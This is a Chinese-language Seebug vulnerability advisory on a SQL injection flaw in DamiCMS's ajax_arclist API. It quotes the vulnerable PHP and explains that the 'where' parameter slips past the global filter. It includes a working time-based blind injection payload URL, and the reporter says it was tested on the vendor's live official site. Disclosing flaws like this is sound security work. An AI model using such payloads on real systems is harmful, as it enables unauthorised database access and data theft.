大米CMS最新版一个参数引发多处sql注入, 绕过防御(附验证脚本)

2015-04-09T00:00:00
ID SSV:95282
Type seebug
Reporter Root
Modified 2015-04-09T00:00:00

Description

简要描述:

过滤不严

详细说明:

出现注入的地方是在ApiAction.class.php文件ajax_arclist函数

``` function ajax_arclist(){ $prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true; //表过滤防止泄露信息,只允许的表 if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();} if(!empty($_REQUEST['model'])){ if($prefix == true){ $model = C('DB_PREFIX').$_REQUEST['model']; } else{ $model = $_REQUEST['model']; } }else{ $model = C('DB_PREFIX').'article'; }
$order =!empty($_REQUEST['order'])?inject_check($_REQUEST['order']):''; $num =!empty($_REQUEST['num'])?inject_check($_REQUEST['num']):''; $where =!empty($_REQUEST['where'])?inject_check(urldecode($_REQUEST['where'])):'';

     //使where支持 条件判断,添加不等于的判断
     $page=false;
     if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page'];    
     $pagesize  =!empty($_REQUEST['pagesize'])?intval($_REQUEST['pagesize']):'10';
     //$query     =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用
     $field     = '';
     if(!empty($_REQUEST['field'])){
     $f_t = explode(',',inject_check($_REQUEST['field']));
     $f_t = array_map('urlencode',$f_t);
     $field = implode(',',$f_t);
     }

     $m=new Model($model,"",false);  
     //如果使用了分页,缓存也不生效
     if($page){
           import("@.ORG.Page");     //这里改成你的Page类           
          $count=$m->where($where)->count();
          var_dump($count);exit();
          $total_page = ceil($count / $pagesize);
          $p = new Page($count,$pagesize);
           //如果使用了分页,num将不起作用
           $t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select();
           //echo $m->getLastSql();             
           $ret = array('total_page'=>$total_page,'data'=>$t);               
     }
     //如果没有使用分页,并且没有 query
     if(!$page){    
     $ret=$m->field($field)->where($where)->order($order)->limit($num)->select();
     }       
     $this->ajaxReturn($ret,'返回信息',1);

} ```

看到这几行代码,where参数全都可以注入:

$count=$m->where($where)->count(); $t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select(); $ret=$m->field($field)->where($where)->order($order)->limit($num)->select();

在where条件中,字符串是不做处理的,导致sql漏洞产生 全局有一个php_safe.php过滤,但是我们还可以继续绕过. 具体paylaod: http://127.0.0.1/dami/index.php?s=api/ajax_arclist&model=ad&page=1&where=11%26%26if(ascii(substr(database(),4,1))=105 ,sleep(1),1)# 官网测试,以为会查询4次所以延迟了4秒:

<img src="https://images.seebug.org/upload/201504/062329520d3f13c99574e5ae79edf1f66b49f7dd.png" alt="屏幕快照 2015-04-06 下午10.37.53.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

<img src="https://images.seebug.org/upload/201504/062330284d37dcbc2e1a25d0d18c7c189ea0b703.png" alt="屏幕快照 2015-04-06 下午11.29.21.png" width="600" onerror="javascript:errimg(this);">